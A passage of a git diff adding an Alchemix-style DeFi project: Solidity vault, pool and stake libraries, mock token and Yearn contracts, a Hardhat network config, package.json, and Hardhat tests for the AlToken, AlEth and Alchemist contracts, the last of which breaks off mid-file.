+  /// @dev Gets the number of elements in the list.
+  ///
+  /// @return the number of elements.
+  function length(List storage _self) internal view returns (uint256) {
+    return _self.elements.length;
+  }
+}
diff --git a/defi/Alchemix/contracts/libraries/alchemist/VaultWithIndirection.sol b/defi/Alchemix/contracts/libraries/alchemist/VaultWithIndirection.sol
new file mode 100644
index 000000000..116da48d2
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/alchemist/VaultWithIndirection.sol
@@ -0,0 +1,176 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+//import "hardhat/console.sol";
+
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol";
+import {YearnVaultAdapterWithIndirection} from "../../adapters/YearnVaultAdapterWithIndirection.sol";
+import "hardhat/console.sol";
+
+/// @title Pool
+///
+/// @dev A library which provides the Vault data struct and associated functions.
+library VaultWithIndirection {
+  using VaultWithIndirection for Data;
+  using VaultWithIndirection for List;
+  using SafeERC20 for IDetailedERC20;
+  using SafeMath for uint256;
+
+  struct Data {
+    YearnVaultAdapterWithIndirection adapter;
+    uint256 totalDeposited;
+  }
+
+  struct List {
+    Data[] elements;
+  }
+
+  /// @dev Gets the total amount of assets deposited in the vault.
+  ///
+  /// @return the total assets.
+  function totalValue(Data storage _self) internal view returns (uint256) {
+    return _self.adapter.totalValue();
+  }
+
+  /// @dev Gets the token that the vault accepts.
+  ///
+  /// @return the accepted token.
+  function token(Data storage _self) internal view returns (IDetailedERC20) {
+    return IDetailedERC20(_self.adapter.token());
+  }
+
+  /// @dev Deposits funds from the caller into the vault.
+  ///
+  /// @param _amount the amount of funds to deposit.
+  function deposit(Data storage _self, uint256 _amount) internal returns (uint256) {
+    // Push the token that the vault accepts onto the stack to save gas.
+    IDetailedERC20 _token = _self.token();
+
+    _token.safeTransfer(address(_self.adapter), _amount);
+    _self.adapter.deposit(_amount);
+    _self.totalDeposited = _self.totalDeposited.add(_amount);
+
+    return _amount;
+  }
+
+  /// @dev Deposits the entire token balance of the caller into the vault.
+  function depositAll(Data storage _self) internal returns (uint256) {
+    IDetailedERC20 _token = _self.token();
+    return _self.deposit(_token.balanceOf(address(this)));
+  }
+
+  /// @dev Withdraw deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function withdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _self.directWithdraw(_recipient, _amount);
+    _self.totalDeposited = _self.totalDeposited.sub(_decreasedValue);
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Directly withdraw deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function directWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
+    IDetailedERC20 _token = _self.token();
+
+    uint256 _startingBalance = _token.balanceOf(_recipient);
+    uint256 _startingTotalValue = _self.totalValue();
+
+    _self.adapter.withdraw(_recipient, _amount);
+
+    uint256 _endingBalance = _token.balanceOf(_recipient);
+    uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance);
+
+    uint256 _endingTotalValue = _self.totalValue();
+    uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Directly withdraw deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function indirectWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
+    IDetailedERC20 _token = _self.token();
+
+    uint256 _startingBalance = _token.balanceOf(_recipient);
+    uint256 _startingTotalValue = _self.totalValue();
+
+    _self.adapter.indirectWithdraw(_recipient, _amount);
+
+    uint256 _endingBalance = _token.balanceOf(_recipient);
+    uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance);
+
+    uint256 _endingTotalValue = _self.totalValue();
+    uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Withdraw all the deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  function withdrawAll(Data storage _self, address _recipient) internal returns (uint256, uint256) {
+    return _self.withdraw(_recipient, _self.totalDeposited);
+  }
+
+  /// @dev Harvests yield from the vault.
+  ///
+  /// @param _recipient the account to withdraw the harvested yield to.
+  function harvest(Data storage _self, address _recipient) internal returns (uint256, uint256) {
+    if (_self.totalValue() <= _self.totalDeposited) {
+      return (0, 0);
+    }
+    uint256 _withdrawAmount = _self.totalValue().sub(_self.totalDeposited);
+    return _self.indirectWithdraw(_recipient, _withdrawAmount);
+  }
+
+  /// @dev Adds a element to the list.
+  ///
+  /// @param _element the element to add.
+  function push(List storage _self, Data memory _element) internal {
+    _self.elements.push(_element);
+  }
+
+  /// @dev Gets a element from the list.
+  ///
+  /// @param _index the index in the list.
+  ///
+  /// @return the element at the specified index.
+  function get(List storage _self, uint256 _index) internal view returns (Data storage) {
+    return _self.elements[_index];
+  }
+
+  /// @dev Gets the last element in the list.
+  ///
+  /// This function will revert if there are no elements in the list.
+  ///
+  /// @return the last element in the list.
+  function last(List storage _self) internal view returns (Data storage) {
+    return _self.elements[_self.lastIndex()];
+  }
+
+  /// @dev Gets the index of the last element in the list.
+  ///
+  /// This function will revert if there are no elements in the list.
+  ///
+  /// @return the index of the last element.
+  function lastIndex(List storage _self) internal view returns (uint256) {
+    uint256 _length = _self.length();
+    return _length.sub(1, "Vault.List: empty");
+  }
+
+  /// @dev Gets the number of elements in the list.
+  ///
+  /// @return the number of elements.
+  function length(List storage _self) internal view returns (uint256) {
+    return _self.elements.length;
+  }
+}
diff --git a/defi/Alchemix/contracts/libraries/pools/Pool.sol b/defi/Alchemix/contracts/libraries/pools/Pool.sol
new file mode 100644
index 000000000..77db9a120
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/pools/Pool.sol
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../FixedPointMath.sol";
+import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol";
+
+import "hardhat/console.sol";
+
+
+/// @title Pool
+///
+/// @dev A library which provides the Pool data struct and associated functions.
+library Pool {
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using Pool for Pool.Data;
+  using Pool for Pool.List;
+  using SafeMath for uint256;
+
+  struct Context {
+    uint256 rewardRate;
+    uint256 totalRewardWeight;
+  }
+
+  struct Data {
+    IERC20 token;
+    uint256 totalDeposited;
+    uint256 rewardWeight;
+    FixedPointMath.FixedDecimal accumulatedRewardWeight;
+    uint256 lastUpdatedBlock;
+  }
+
+  struct List {
+    Data[] elements;
+  }
+
+  /// @dev Updates the pool.
+  ///
+  /// @param _ctx the pool context.
+  function update(Data storage _data, Context storage _ctx) internal {
+    _data.accumulatedRewardWeight = _data.getUpdatedAccumulatedRewardWeight(_ctx);
+    _data.lastUpdatedBlock = block.number;
+  }
+
+  /// @dev Gets the rate at which the pool will distribute rewards to stakers.
+  ///
+  /// @param _ctx the pool context.
+  ///
+  /// @return the reward rate of the pool in tokens per block.
+  function getRewardRate(Data storage _data, Context storage _ctx)
+    internal view
+    returns (uint256)
+  {
+    // console.log("get reward rate");
+    // console.log(uint(_data.rewardWeight));
+    // console.log(uint(_ctx.totalRewardWeight));
+    // console.log(uint(_ctx.rewardRate));
+    return _ctx.rewardRate.mul(_data.rewardWeight).div(_ctx.totalRewardWeight);
+  }
+
+  /// @dev Gets the accumulated reward weight of a pool.
+  ///
+  /// @param _ctx the pool context.
+  ///
+  /// @return the accumulated reward weight.
+  function getUpdatedAccumulatedRewardWeight(Data storage _data, Context storage _ctx)
+    internal view
+    returns (FixedPointMath.FixedDecimal memory)
+  {
+    if (_data.totalDeposited == 0) {
+      return _data.accumulatedRewardWeight;
+    }
+
+    uint256 _elapsedTime = block.number.sub(_data.lastUpdatedBlock);
+    if (_elapsedTime == 0) {
+      return _data.accumulatedRewardWeight;
+    }
+
+    uint256 _rewardRate = _data.getRewardRate(_ctx);
+    uint256 _distributeAmount = _rewardRate.mul(_elapsedTime);
+
+    if (_distributeAmount == 0) {
+      return _data.accumulatedRewardWeight;
+    }
+
+    FixedPointMath.FixedDecimal memory _rewardWeight = FixedPointMath.fromU256(_distributeAmount).div(_data.totalDeposited);
+    return _data.accumulatedRewardWeight.add(_rewardWeight);
+  }
+
+  /// @dev Adds an element to the list.
+  ///
+  /// @param _element the element to add.
+  function push(List storage _self, Data memory _element) internal {
+    _self.elements.push(_element);
+  }
+
+  /// @dev Gets an element from the list.
+  ///
+  /// @param _index the index in the list.
+  ///
+  /// @return the element at the specified index.
+  function get(List storage _self, uint256 _index) internal view returns (Data storage) {
+    return _self.elements[_index];
+  }
+
+  /// @dev Gets the last element in the list.
+  ///
+  /// This function will revert if there are no elements in the list.
+  ///ck
+  /// @return the last element in the list.
+  function last(List storage _self) internal view returns (Data storage) {
+    return _self.elements[_self.lastIndex()];
+  }
+
+  /// @dev Gets the index of the last element in the list.
+  ///
+  /// This function will revert if there are no elements in the list.
+  ///
+  /// @return the index of the last element.
+  function lastIndex(List storage _self) internal view returns (uint256) {
+    uint256 _length = _self.length();
+    return _length.sub(1, "Pool.List: list is empty");
+  }
+
+  /// @dev Gets the number of elements in the list.
+  ///
+  /// @return the number of elements.
+  function length(List storage _self) internal view returns (uint256) {
+    return _self.elements.length;
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/libraries/pools/Stake.sol b/defi/Alchemix/contracts/libraries/pools/Stake.sol
new file mode 100644
index 000000000..b7cd7b680
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/pools/Stake.sol
@@ -0,0 +1,53 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../FixedPointMath.sol";
+import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol";
+import {Pool} from "./Pool.sol";
+
+import "hardhat/console.sol";
+
+/// @title Stake
+///
+/// @dev A library which provides the Stake data struct and associated functions.
+library Stake {
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using Pool for Pool.Data;
+  using SafeMath for uint256;
+  using Stake for Stake.Data;
+
+  struct Data {
+    uint256 totalDeposited;
+    uint256 totalUnclaimed;
+    FixedPointMath.FixedDecimal lastAccumulatedWeight;
+  }
+
+  function update(Data storage _self, Pool.Data storage _pool, Pool.Context storage _ctx) internal {
+    _self.totalUnclaimed = _self.getUpdatedTotalUnclaimed(_pool, _ctx);
+    _self.lastAccumulatedWeight = _pool.getUpdatedAccumulatedRewardWeight(_ctx);
+  }
+
+  function getUpdatedTotalUnclaimed(Data storage _self, Pool.Data storage _pool, Pool.Context storage _ctx)
+    internal view
+    returns (uint256)
+  {
+    FixedPointMath.FixedDecimal memory _currentAccumulatedWeight = _pool.getUpdatedAccumulatedRewardWeight(_ctx);
+    FixedPointMath.FixedDecimal memory _lastAccumulatedWeight = _self.lastAccumulatedWeight;
+
+    if (_currentAccumulatedWeight.cmp(_lastAccumulatedWeight) == 0) {
+      return _self.totalUnclaimed;
+    }
+
+    uint256 _distributedAmount = _currentAccumulatedWeight
+      .sub(_lastAccumulatedWeight)
+      .mul(_self.totalDeposited)
+      .decode();
+
+    return _self.totalUnclaimed.add(_distributedAmount);
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/mocks/ERC20Mock.sol b/defi/Alchemix/contracts/mocks/ERC20Mock.sol
new file mode 100644
index 000000000..7d7eec76a
--- /dev/null
+++ b/defi/Alchemix/contracts/mocks/ERC20Mock.sol
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+/// @title ERC20Mock
+///
+/// @dev A mock of an ERC20 token which lets anyone burn and mint tokens.
+contract ERC20Mock is ERC20 {
+
+  constructor(string memory _name, string memory _symbol, uint8 _decimals) public ERC20(_name, _symbol) {
+    _setupDecimals(_decimals);
+  }
+
+  function mint(address _recipient, uint256 _amount) external {
+    _mint(_recipient, _amount);
+  }
+
+  function burn(address _account, uint256 _amount) external {
+    _burn(_account, _amount);
+  }
+}
diff --git a/defi/Alchemix/contracts/mocks/Hello.sol b/defi/Alchemix/contracts/mocks/Hello.sol
new file mode 100644
index 000000000..b723f30b3
--- /dev/null
+++ b/defi/Alchemix/contracts/mocks/Hello.sol
@@ -0,0 +1,13 @@
+pragma solidity ^0.6.0;
+
+contract Hello {
+    uint256 public balance;
+
+    function set(uint256 _newbalance) public {
+        balance = _newbalance;
+    }
+
+    function get() public returns (uint256){
+        return balance;
+    }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/mocks/VaultAdapterMock.sol b/defi/Alchemix/contracts/mocks/VaultAdapterMock.sol
new file mode 100644
index 000000000..b3cc6b915
--- /dev/null
+++ b/defi/Alchemix/contracts/mocks/VaultAdapterMock.sol
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+
+import "../interfaces/IVaultAdapter.sol";
+
+contract VaultAdapterMock is IVaultAdapter {
+  using SafeERC20 for IDetailedERC20;
+
+  IDetailedERC20 private _token;
+
+  constructor(IDetailedERC20 token_) public {
+    _token = token_;
+  }
+
+  function token() external view override returns (IDetailedERC20) {
+    return _token;
+  }
+
+  function totalValue() external view override returns (uint256) {
+    return _token.balanceOf(address(this));
+  }
+
+  function deposit(uint256 _amount) external override { }
+
+  function withdraw(address _recipient, uint256 _amount) external override {
+    _token.safeTransfer(_recipient, _amount);
+  }
+}
diff --git a/defi/Alchemix/contracts/mocks/VaultAdapterMockWithIndirection.sol b/defi/Alchemix/contracts/mocks/VaultAdapterMockWithIndirection.sol
new file mode 100644
index 000000000..a42b1278d
--- /dev/null
+++ b/defi/Alchemix/contracts/mocks/VaultAdapterMockWithIndirection.sol
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+
+import "../interfaces/IVaultAdapter.sol";
+
+contract VaultAdapterMockWithIndirection is IVaultAdapter {
+  using SafeERC20 for IDetailedERC20;
+
+  IDetailedERC20 private _token;
+
+  constructor(IDetailedERC20 token_) public {
+    _token = token_;
+  }
+
+  function token() external view override returns (IDetailedERC20) {
+    return _token;
+  }
+
+  function totalValue() external view override returns (uint256) {
+    return _token.balanceOf(address(this));
+  }
+
+  function deposit(uint256 _amount) external override { }
+
+  function withdraw(address _recipient, uint256 _amount) external override {
+    _token.safeTransfer(_recipient, _amount);
+  }
+
+  function indirectWithdraw(address _recipient, uint256 _amount) external {
+    _token.safeTransfer(_recipient, _amount);
+  }
+}
diff --git a/defi/Alchemix/contracts/mocks/YearnControllerMock.sol b/defi/Alchemix/contracts/mocks/YearnControllerMock.sol
new file mode 100644
index 000000000..07664c10e
--- /dev/null
+++ b/defi/Alchemix/contracts/mocks/YearnControllerMock.sol
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "hardhat/console.sol";
+
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import "../interfaces/IYearnController.sol";
+
+contract YearnControllerMock is IYearnController {
+  using SafeERC20 for IERC20;
+  using SafeMath for uint256;
+
+  address constant public blackhole = 0x000000000000000000000000000000000000dEaD;
+
+  uint256 public withdrawalFee = 50;
+  uint256 constant public withdrawalMax = 10000;
+
+  function setWithdrawalFee(uint256 _withdrawalFee) external {
+    withdrawalFee = _withdrawalFee;
+  }
+
+  function balanceOf(address _token) external view override returns (uint256) {
+    return IERC20(_token).balanceOf(address(this));
+  }
+
+  function earn(address _token, uint256 _amount) external override { }
+
+  function withdraw(address _token, uint256 _amount) external override {
+    uint _balance = IERC20(_token).balanceOf(address(this));
+    // uint _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
+
+    // IERC20(_token).safeTransfer(blackhole, _fee);
+    IERC20(_token).safeTransfer(msg.sender, _amount);
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/mocks/YearnVaultMock.sol b/defi/Alchemix/contracts/mocks/YearnVaultMock.sol
new file mode 100644
index 000000000..06ea95105
--- /dev/null
+++ b/defi/Alchemix/contracts/mocks/YearnVaultMock.sol
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "hardhat/console.sol";
+
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+
+import "../interfaces/IYearnController.sol";
+import "../interfaces/IYearnVault.sol";
+
+contract YearnVaultMock is  ERC20 {
+  using SafeERC20 for IDetailedERC20;
+  using SafeMath for uint256;
+
+  uint256 public min = 9500;
+  uint256 public constant max = 10000;
+
+  IYearnController public controller;
+  IDetailedERC20 public token;
+
+  constructor(IDetailedERC20 _token, IYearnController _controller) public ERC20("yEarn Mock", "yMOCK") {
+    token = _token;
+    controller = _controller;
+  }
+
+  function vdecimals() external view returns (uint8) {
+    return decimals();
+  }
+
+  function balance() public view  returns (uint256) {
+    return token.balanceOf(address(this)).add(controller.balanceOf(address(token)));
+  }
+
+  function available() public view  returns (uint256) {
+    return token.balanceOf(address(this)).mul(min).div(max);
+  }
+
+  function earn() external  {
+    uint _bal = available();
+    token.safeTransfer(address(controller), _bal);
+    controller.earn(address(token), _bal);
+  }
+
+  function deposit(uint256 _amount) external returns (uint){
+    uint _pool = balance();
+    uint _before = token.balanceOf(address(this));
+    token.safeTransferFrom(msg.sender, address(this), _amount);
+    uint _after = token.balanceOf(address(this));
+    _amount = _after.sub(_before); // Additional check for deflationary tokens
+    uint _shares = 0;
+    if (totalSupply() == 0) {
+      _shares = _amount;
+    } else {
+      _shares = (_amount.mul(totalSupply())).div(_pool);
+    }
+    _mint(msg.sender, _shares);
+  }
+
+  function withdraw(uint _shares, address _recipient) external returns (uint) {
+    uint _r = (balance().mul(_shares)).div(totalSupply());
+    _burn(msg.sender, _shares);
+
+    // Check balance
+    uint _b = token.balanceOf(address(this));
+    if (_b < _r) {
+      uint _withdraw = _r.sub(_b);
+      controller.withdraw(address(token), _withdraw);
+      uint _after = token.balanceOf(address(this));
+      uint _diff = _after.sub(_b);
+      if (_diff < _withdraw) {
+        _r = _b.add(_diff);
+      }
+    }
+
+    token.safeTransfer(_recipient, _r);
+  }
+
+  function pricePerShare() external view returns (uint256) {
+    return balance().mul(1e18).div(totalSupply());
+  }// changed to v2
+
+  /// @dev This is not part of the vault contract and is meant for quick debugging contracts to have control over
+  /// completely clearing the vault buffer to test certain behaviors better.
+  function clear() external {
+    token.safeTransfer(address(controller), token.balanceOf(address(this)));
+    controller.earn(address(token), token.balanceOf(address(this)));
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/hardhat.config.js b/defi/Alchemix/hardhat.config.js
new file mode 100644
index 000000000..50951e2d3
--- /dev/null
+++ b/defi/Alchemix/hardhat.config.js
@@ -0,0 +1,68 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+ 
+ }
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.6.12"
+      },
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
diff --git a/defi/Alchemix/package.json b/defi/Alchemix/package.json
new file mode 100644
index 000000000..3b1de33d3
--- /dev/null
+++ b/defi/Alchemix/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "51-alchemix",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "4.9.6",
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.2"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/defi/Alchemix/test/AlEth.js b/defi/Alchemix/test/AlEth.js
new file mode 100644
index 000000000..3cacae15c
--- /dev/null
+++ b/defi/Alchemix/test/AlEth.js
@@ -0,0 +1,65 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+describe("AlEth contract", function () {
+  let alEthToken;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy AlEth
+    let alEthFactory = await ethers.getContractFactory("AlEth");
+    alEth = await alEthFactory.deploy();
+    await alEth.deployed();
+
+    // Set goduser into the WhiteList
+    await alEth.setWhitelist(godUser.address,true);
+  });
+
+  it("Set whiteList for other users", async function () {
+    // Set WhiteList for user2
+    await alEth.setWhitelist(user2.address, true);
+
+    expect(await alEth.whiteList(user2.address)).to.be.true;
+  });
+
+  it("Paused Alchemist", async function () {
+    // Set WhiteList for user2
+    await alEth.pauseAlchemist(user2.address,true);
+
+    // Check the result
+    expect(await alEth.paused(user2.address)).to.be.true;
+  }); 
+
+  it("Set Ceiling", async function () {
+    // Set Ceiling for user2
+    await alEth.setCeiling(godUser.address,100);
+
+    // Check the ceiling
+    expect(await alEth.ceiling(godUser.address)).to.equal(100);
+  }); 
+
+  it("lower HasMinted", async function () {
+    // Set Ceiling for user2
+    await alEth.setCeiling(godUser.address,100);
+
+    // Mint for User2
+    await alEth.mint(godUser.address,100);
+
+    // Check the hasMinted amount
+    expect(await alEth.hasMinted(godUser.address)).to.equal(100);
+
+    // lower lowerHasMinted
+    await alEth.lowerHasMinted(100);
+
+    // Check the hasMinted amount
+    expect(await alEth.hasMinted(godUser.address)).to.equal(0);
+  }); 
+
+  
+});
diff --git a/defi/Alchemix/test/AlToken.js b/defi/Alchemix/test/AlToken.js
new file mode 100644
index 000000000..116ec95f4
--- /dev/null
+++ b/defi/Alchemix/test/AlToken.js
@@ -0,0 +1,72 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+describe("AlToken contract", function () {
+  let alToken;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy AlToken
+    let alTokenFactory = await ethers.getContractFactory("AlToken");
+    alToken = await alTokenFactory.deploy();
+    await alToken.deployed();
+
+    // Set goduser into the WhiteList
+    await alToken.setWhitelist(godUser.address,true);
+  });
+
+  it("Set whiteList for other users", async function () {
+    // Set WhiteList for user2
+    await alToken.setWhitelist(user2.address, true);
+
+    expect(await alToken.whiteList(user2.address)).to.be.true;
+  });
+
+  it("Set blacklist for other users", async function () {
+    // Set WhiteList for user2
+    await alToken.setBlacklist(user2.address);
+
+    expect(await alToken.blacklist(user2.address)).to.be.true;
+  });
+
+  it("Paused Alchemist", async function () {
+    // Set WhiteList for user2
+    await alToken.pauseAlchemist(user2.address,true);
+
+    // Check the result
+    expect(await alToken.paused(user2.address)).to.be.true;
+  }); 
+
+  it("Set Ceiling", async function () {
+    // Set Ceiling for user2
+    await alToken.setCeiling(godUser.address,100);
+
+    // Check the ceiling
+    expect(await alToken.ceiling(godUser.address)).to.equal(100);
+  }); 
+
+  it("lower HasMinted", async function () {
+    // Set Ceiling for user2
+    await alToken.setCeiling(godUser.address,100);
+
+    // Mint for User2
+    await alToken.mint(godUser.address,100);
+
+    // Check the hasMinted amount
+    expect(await alToken.hasMinted(godUser.address)).to.equal(100);
+
+    // lower lowerHasMinted
+    await alToken.lowerHasMinted(100);
+
+    // Check the hasMinted amount
+    expect(await alToken.hasMinted(godUser.address)).to.equal(0);
+  }); 
+
+  
+});
diff --git a/defi/Alchemix/test/Alchemist.js b/defi/Alchemix/test/Alchemist.js
new file mode 100644
index 000000000..329460468
--- /dev/null
+++ b/defi/Alchemix/test/Alchemist.js
@@ -0,0 +1,314 @@
+const { expect } = require('chai');
+const hre = require('hardhat');
+const { ethers } = hre;
+
+function getPayLoad(contractABI,functionName,param,type){
+  for(let i=0;i<contractABI.length;i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+    
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+
+
+    //encode param
+    const abiCoder =new ethers.utils.AbiCoder()
+    const codeOfParam =  abiCoder.encode(type,param)
+    
+    
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2,codeOfParam.length);
+    return payload;
+  }
+}
+
+describe('AlToken contract', function () {
+  let multiSigWallet;
+  let multiSigWalletArtifact;
+  let transmuterArtifact;
+  let daiToken;
+  let daiTokenUser2;
+  let alToken;
+  let alchemist;
+  let tokenArtifact;
+  let yearnControllerMock;
+  let yearnVaultMock;
+  let yearnVaultAdapter;
+  let transmuter;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+  let addressType;
+  let uintType;
+
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    addressType = ['address'];
+
+    uintType = ['uint256'];
+
+    // Deploy MultiSigWallet
+    let multiSigWalletFactory = await ethers.getContractFactory('MultiSigWallet');
+
+    // Config parameters
+    let owners = [godUser.address, user1.address];
+    let required = 1;
+
+    multiSigWallet = await multiSigWalletFactory.deploy(owners, required);
+    await multiSigWallet.deployed();
+
+    // Deploy daiToken
+    let daiTokenFactory = await ethers.getContractFactory('ERC20Mock');
+    daiToken = await daiTokenFactory.deploy('Dai', 'Dai', 18);
+    await daiToken.deployed();
+
+    // Mint for user2 && user3
+    await daiToken.mint(user2.address,1000);
+    await daiToken.mint(user3.address,1000);
+
+    // Deploy AlToken
+    let alTokenFactory = await ethers.getContractFactory('AlToken');
+    alToken = await alTokenFactory.deploy();
+    await alToken.deployed();
+
+    // Deploy Alchemist
+    let alchemistFactory = await ethers.getContractFactory('Alchemist');
+    alchemist = await alchemistFactory.deploy(daiToken.address, alToken.address, multiSigWallet.address, godUser.address);
+    await alchemist.deployed();
+
+    // Set goduser into the WhiteList
+    await alToken.setWhitelist(alchemist.address, true);
+
+    // Set ceiling for user2 and alchemist
+    await alToken.setCeiling(alchemist.address,100000);
+
+    // user2 Set approve for alchmist
+    daiTokenUser2 = daiToken.connect(user2);
+    await daiTokenUser2.approve(alchemist.address,1000);
+
+    // user3 Set approve for alchmist
+    let daiTokenUser3 = daiToken.connect(user3);
+    await daiTokenUser3.approve(alchemist.address,1000);
+
+    multiSigWalletArtifact = await hre.artifacts.readArtifact("Alchemist");
+
+    // Deploy Transmuter
+    let transmuterFactory = await ethers.getContractFactory('Transmuter');
